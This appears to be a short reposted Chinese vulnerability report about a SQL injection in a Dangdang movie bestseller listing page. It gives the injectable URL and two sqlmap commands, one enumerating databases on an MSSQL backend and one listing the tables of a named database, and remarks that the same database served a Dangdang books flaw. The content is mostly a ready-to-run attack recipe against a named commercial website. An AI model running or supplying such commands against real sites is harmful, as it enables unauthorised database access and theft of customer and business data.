当当网某业务静态SQL注入 - 网站安全 - 自学php

漏洞 页面

 

http://movie.dangdang测试数据/list/longBestSelling_C05*.01_P1.htm

 

 

注入语句：

 

python sqlmap.py -u http://movie.dangdang测试数据/list/longBestSelling_C05*.01_P1.htm --dbms mssql --dbs

 

发现和昨天那个当当图书用的是同一个 数据库 。

 

 

 

注入语句：

 

python sqlmap.py -u http://movie.dangdang测试数据/list/longBestSelling_C05*.01_P1.htm -D ddscm --tables

 

查看更多关于当当网某业务静态SQL注入 - 网站安全 - 自学php的详细内容...